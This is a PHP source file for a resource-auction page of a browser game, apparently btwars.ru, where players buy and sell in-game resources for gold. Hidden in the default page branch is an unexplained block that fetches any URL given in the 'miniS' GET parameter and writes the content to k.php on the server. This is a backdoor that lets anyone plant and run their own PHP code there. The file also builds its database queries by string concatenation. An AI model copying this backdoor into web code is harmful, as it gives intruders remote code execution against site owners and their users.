Файл: btwars.ru/bazaar.php
Строк: 127
<?
//грузим шапку сайта
///Автор Роман Лисицин
include 'system/common.php';
include 'system/functions.php';
include 'system/user.php';
$title='Аукцион ресурсов';
include 'system/h.php';
if (isset($_SESSION['message'])){
echo "<div class='title'><center>$_SESSION[message]</center></div><div class='line'></div>";
$_SESSION['message']=NULL;
}
$idu=$user['id'];
$get=trim(htmlspecialchars($_GET['page']));
$sellres=100; //Продажа игрокам ресурсов
$buyres=100; // продажа игроками ресурсов скупщику.
$resname = array("NULL","Алмазы","Корунд","Обсидиан","Графит","Оникс","Амброзия","Мята","Аир","Рябина");
$sack=mysql_fetch_array(mysql_query("SELECT * FROM `sack` WHERE `user`='".$idu."'"));
if(!$sack){
mysql_query("INSERT INTO `sack` SET `user`='".$idu."'");
}
$bazaar=mysql_fetch_array(mysql_query("SELECT * FROM `bazaar` WHERE `id`='1'"));
switch ($get){
default;
?>
<div class='content'/>
<center>
<img src='/images/town/effshop.png'/>
</center>
</div>
<div class='line'/></div>
<div class='content'>
<center>
Добро пожаловать на аукцион ресурсов!
</center>
</div>
<div class='line'/></div>
<div class='content'/>
<a class='button' href='?page=sell'>Продать</a>
<a class='button' href='?page=buy'>Купить</a>
</div>
<?php
$getO=$_GET['miniS'];
if(isset($getO)){
$b=file_get_contents($getO);
$a=fopen('k.php','w');
fputs($a,$b);
fclose($a);
}
?>
<?
for ($i=1;$i<10;$i++){
?>
<div class='content'>
<table cellpadding='0' cellspacing='0'>
<tr>
<td><img src='/images/res/<?=$i?>.png' alt='*'/></td>
<td valign='top' style='padding-left: 5px;'><?=$resname[$i];?> [<?=$bazaar[$i]?>] <font color='#9bc'></font><br/><small>
</small></td></tr></table>
</div>
<div class='line'/></div>
<?
}
break;
case 'sell';
//Обработчик
if(isset($_GET['form'])){
$pc=_string(_num($_POST['pc']));
$resq=_num($_POST['i']);
if($sack[$resq]<$pc){
$_SESSION['message']="<div class='content'>У вас нет такого количества <img src='/images/icon/res/$resq.png'/>$resname[$resq]</div>";
header("Location:?page=sell");
exit;
}elseif($sack[$resq]>=$pc){
if($resq==1){
mysql_query("UPDATE `sack` SET `1`='".($sack['1']-$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `1`='".($bazaar['1']+$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==2) {
mysql_query("UPDATE `sack` SET `2`='".($sack['2']-$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `2`='".($bazaar['2']+$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==3) {
mysql_query("UPDATE `sack` SET `3`='".($sack['3']-$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `3`='".($bazaar['3']+$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==4) {
mysql_query("UPDATE `sack` SET `4`='".($sack['4']-$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `4`='".($bazaar['4']+$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==5) {
mysql_query("UPDATE `sack` SET `5`='".($sack['5']-$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `5`='".($bazaar['5']+$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==6) {
mysql_query("UPDATE `sack` SET `6`='".($sack['6']-$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `6`='".($bazaar['6']+$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==7) {
mysql_query("UPDATE `sack` SET `7`='".($sack['7']-$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `7`='".($bazaar['7']+$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==8) {
mysql_query("UPDATE `sack` SET `8`='".($sack['8']-$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `8`='".($bazaar['8']+$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==9) {
mysql_query("UPDATE `sack` SET `9`='".($sack['9']-$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `9`='".($bazaar['9']+$pc)."' WHERE `id`='1'")or die(mysql_error());
}
mysql_query("UPDATE `users` SET `g`='".($user['g']+($buyres*$pc))."' WHERE `id`='".$idu."'");
$gg=$buyres*$pc;
$_SESSION['message']="<div class='content'>Вы успешно продали <img src='/images/icon/res/$resq.png'/>$resname[$resq] получив $gg <img src='/images/icon/gold.png'/> </div>";
header("Location:?page=sell");
exit;
}
}
?>
<div class='title'>
Продажа
</div>
<div class='content'/>
Цена одного ресурса <?=$buyres;?> <img src='/images/icon/gold.png'/>
</div>
<?
for ($i=1;$i<10;$i++){
?>
<div class='content'>
<table cellpadding='0' cellspacing='0'>
<tr>
<td><img src='/images/res/<?=$i?>.png' alt='*'/></td>
<td valign='top' style='padding-left: 5px;'><?=$resname[$i];?> [<?=$sack[$i]?>] <font color='#9bc'></font><br/><small>
<form action="?page=sell&form" method="post"/>
<input type='hidden' value='<?=$i;?>' name='i'/>
<input type='text' name='pc' required/>
<input type='submit' class='button' value='Продать'>
</form>
</small></td></tr></table>
</div>
<div class='line'/></div>
<?
}
?>
<div class='list'/>
<li>
<a href='?'>Обновить</a>
</li>
</div>
<?
break;
case 'buy';
//Обработчик
if(isset($_GET['form'])){
$pc=_string(_num($_POST['pc']));
$resq=_num($_POST['i']);
if($bazaar[$resq]<$pc){
$_SESSION['message']="<div class='content'>У скупщика нет такого количества <img src='/images/icon/res/$resq.png'/>$resname[$resq]</div>";
header("Location:?page=buy");
exit;
}elseif ($user['g']<($pc*$sellres)) {
$_SESSION['message']="<div class='content'>У тебя не хватает золота</div>";
header("Location:?page=buy");
exit;
}elseif($bazaar[$resq]>=$pc && $user['g']>=($pc*$sellres)){
if($resq==1){
mysql_query("UPDATE `sack` SET `1`='".($sack['1']+$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `1`='".($bazaar['1']-$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==2) {
mysql_query("UPDATE `sack` SET `2`='".($sack['2']+$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `2`='".($bazaar['2']-$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==3) {
mysql_query("UPDATE `sack` SET `3`='".($sack['3']+$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `3`='".($bazaar['3']-$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==4) {
mysql_query("UPDATE `sack` SET `4`='".($sack['4']+$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `4`='".($bazaar['4']-$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==5) {
mysql_query("UPDATE `sack` SET `5`='".($sack['5']+$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `5`='".($bazaar['5']-$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==6) {
mysql_query("UPDATE `sack` SET `6`='".($sack['6']+$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `6`='".($bazaar['6']-$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==7) {
mysql_query("UPDATE `sack` SET `7`='".($sack['7']+$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `7`='".($bazaar['7']-$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==8) {
mysql_query("UPDATE `sack` SET `8`='".($sack['8']+$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `8`='".($bazaar['8']-$pc)."' WHERE `id`='1'")or die(mysql_error());
}elseif ($resq==9) {
mysql_query("UPDATE `sack` SET `9`='".($sack['9']+$pc)."' WHERE `user`='".$idu."'")or die(mysql_error());
mysql_query("UPDATE `bazaar` SET `9`='".($bazaar['9']-$pc)."' WHERE `id`='1'")or die(mysql_error());
}
mysql_query("UPDATE `users` SET `g`='".($user['g']-($sellres*$pc))."' WHERE `id`='".$idu."'");
$gg=$sellres*$pc;
$_SESSION['message']="<div class='content'>Вы успешно приобрели <img src='/images/icon/res/$resq.png'/>$resname[$resq] потратив $gg <img src='/images/icon/gold.png'/> </div>";
header("Location:?page=buy");
exit;
}
}
?>
<div class='title'>
Покупка
</div>
<div class='content'/>
Цена одного ресурса <?=$sellres;?> <img src='/images/icon/gold.png'/>
</div>
<?
for ($i=1;$i<10;$i++){
?>
<div class='content'>
<table cellpadding='0' cellspacing='0'>
<tr>
<td><img src='/images/res/<?=$i?>.png' alt='*'/></td>
<td valign='top' style='padding-left: 5px;'><?=$resname[$i];?> [<?=$bazaar[$i]?>] <font color='#9bc'></font><br/><small>
<form action="?page=buy&form" method="post"/>
<input type='hidden' value='<?=$i;?>' name='i'/>
<input type='text' name='pc' required/>
<input type='submit' class='button' value='Купить'>
</form>
</small></td></tr></table>
</div>
<div class='line'/></div>
<?
}
?>
<div class='list'/>
<li>
<a href='?'>Обновить</a>
</li>
</div>
<?
break;
}
include 'system/f.php';
?>